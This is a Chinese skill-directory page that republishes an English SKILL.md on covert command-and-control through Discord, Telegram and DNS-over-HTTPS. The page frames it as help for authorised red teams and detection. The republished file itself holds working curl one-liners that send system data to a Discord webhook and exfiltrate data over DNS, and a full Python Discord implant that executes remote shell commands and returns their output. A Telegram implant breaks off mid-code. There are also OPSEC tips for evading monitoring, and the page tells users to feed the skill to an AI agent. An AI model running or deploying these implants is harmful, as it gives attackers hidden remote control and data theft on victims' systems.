c2-alternative-channels
它能做什么
本指南介绍攻击者可能如何利用常见网络服务,把控制流量隐藏在看似正常的请求中。适用于希望在经授权演练中检测或模拟这种模式的防御者和红队。
适用场景
- ✓当安全团队想检查通往聊天或文件服务的流量是否被用作隐藏通道时。
- ✓当经授权的演练需要模拟隐蔽通道,让防御者练习检测时。
- ✓当网络团队需要针对异常 DNS 或网络服务流量制定规则时。
技能链接
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/c2-alternative-channels/SKILL.md复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。
使用方法
最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。
可直接粘贴的消息
适用于 Claude Code、Codex 或 Cursor:在项目文件夹中运行,即可安装该技能。
下载 SKILL.md,放进智能体的技能文件夹。
可以这样问 AI
“通往即时通讯或文件服务的流量是否可能在我们的网络中隐藏控制指令?请帮我规划检测检查。”
每周 5 个新技能,1 分钟读完。
工作原理
智能体会说明各类通道,例如聊天机器人或 DNS 查询,并建议查看日志和设置提醒,以发现这些服务上的异常流量或数量。
技术内容(原始 SKILL.md)
作者在 GitHub 上的英文原文。
Alternative C2 Channels
Non-traditional command-and-control channels leverage legitimate services as transport to evade network monitoring. By routing C2 through platforms that are whitelisted or too high-volume to block, operators bypass proxy inspection, domain reputation checks, and protocol-based detection.
Quick Reference
# Discord webhook C2 — post command output
curl -X POST -H "Content-Type: application/json" \
-d "{\"content\":\"$(whoami)\"}" \
"https://discord.com/api/webhooks/<WEBHOOK_ID>/<WEBHOOK_TOKEN>"
# Telegram bot C2 — poll for commands
curl -s "https://api.telegram.org/bot<BOT_TOKEN>/getUpdates" | jq '.result[-1].message.text'
# DNS-over-HTTPS exfil via Google
curl -s "https://dns.google/resolve?name=$(echo <DATA> | base64 | tr '+/' '-_').c2.<TARGET>&type=TXT"
MITRE ATT&CK Mapping
| Technique | ID | Usage in Skill |
|---|---|---|
| Web Service | T1102 | Discord, Telegram, cloud functions as C2 relay |
| Application Layer Protocol: DNS | T1071.004 | DNS-over-HTTPS for command/data tunneling |
| Application Layer Protocol: Mail Protocols | T1071.003 | IMAP/SMTP email-based C2 |
| Encrypted Channel | T1573 | TLS-wrapped comms to legitimate services |
1. Discord Webhook C2
Discord webhooks provide fire-and-forget output exfiltration. Combined with a bot that reads channel messages, this creates a full bidirectional C2 channel over HTTPS to discord.com — a domain almost never blocked.
Setup
# Create a Discord server and channel for C2
# Settings > Integrations > Webhooks > New Webhook
# Copy webhook URL: https://discord.com/api/webhooks/<ID>/<TOKEN>
# Create a bot for command input:
# https://discord.com/developers/applications > New Application > Bot
# Enable MESSAGE CONTENT intent
# Invite bot to server with Send Messages + Read Message History
Implant Logic (Python)
#!/usr/bin/env python3
"""Discord C2 implant — polls channel for commands, posts output via webhook."""
import requests, subprocess, time, json, os
WEBHOOK_URL = "https://discord.com/api/webhooks/<WEBHOOK_ID>/<WEBHOOK_TOKEN>"
BOT_TOKEN = "<BOT_TOKEN>"
CHANNEL_ID = "<CHANNEL_ID>"
HEADERS = {"Authorization": f"Bot {BOT_TOKEN}"}
SLEEP = 30
LAST_MSG_ID = None
def poll_command():
global LAST_MSG_ID
url = f"https://discord.com/api/v10/channels/{CHANNEL_ID}/messages?limit=1"
r = requests.get(url, headers=HEADERS)
if r.status_code != 200:
return None
msgs = r.json()
if not msgs:
return None
msg = msgs[0]
if msg["id"] == LAST_MSG_ID:
return None
LAST_MSG_ID = msg["id"]
return msg["content"]
def send_output(data):
# Discord message limit is 2000 chars; chunk if needed
for i in range(0, len(data), 1900):
chunk = data[i:i+1900]
requests.post(WEBHOOK_URL, json={"content": f"```\n{chunk}\n```"})
while True:
cmd = poll_command()
if cmd and cmd.startswith("!exec "):
try:
out = subprocess.check_output(
cmd[6:], shell=True, stderr=subprocess.STDOUT, timeout=30
).decode(errors="replace")
except subprocess.TimeoutExpired:
out = "[TIMEOUT]"
except Exception as e:
out = f"[ERROR] {e}"
send_output(out)
time.sleep(SLEEP)
OPSEC Notes
- All traffic goes to
discord.com:443— TLS-encrypted, CDN-hosted - Rate limit: ~5 requests/sec per webhook; space commands to avoid
429 - Bot token exposure = full channel compromise; rotate after engagement
- Discord logs message content — treat the channel as burned post-op
2. Telegram Bot C2
Telegram's Bot API provides reliable bidirectional C2 with built-in encryption, file transfer, and global CDN distribution.
Setup
# Create bot via @BotFather on Telegram:
# /newbot -> name -> username -> receive BOT_TOKEN
# Get chat ID:
curl -s "https://api.telegram.org/bot<BOT_TOKEN>/getUpdates" | jq '.result[0].message.chat.id'
Implant Logic (Python)
#!/usr/bin/env python3
"""Telegram Bot C2 — long-poll getUpdates, execute, reply."""
import requests, subprocess, time
BOT_TOKEN = "<BOT_TOKEN>"
CHAT_ID = "<CHAT_ID>"
API = f"https://api.telegram.org/bot{BOT_TOKEN}"
OFFSET = 0
SLEEP = 15
def poll():
global OFFSET
r = requests.get(f"{API}/getUpdates", params={"offset": OFFSET, "timeout": 30})
updates = r.json().get("result", [])
for u in updates:
OF
常见问题
为什么这些通道很难拦截?
指南指出,它们使用许多机构必须允许的热门服务。
应该关注哪些流量?
服务器与聊天、文件或 DNS-over-HTTPS 服务之间不该出现的定期连接。
这只适用于经授权的演练吗?
是的。模拟这些通道必须有书面范围。
详情
作者的原始描述
Non-traditional C2 channels — Discord/Telegram bots, DNS-over-HTTPS, blockchain-based C2, email-based C2, and cloud function dead drops for covert command and control.
热度
- GitHub 星标
- 6.5k
- 排名
- #14126
- 许可证
- Apache-2.0
- 更新时间
- 2026/11/1
评论
- …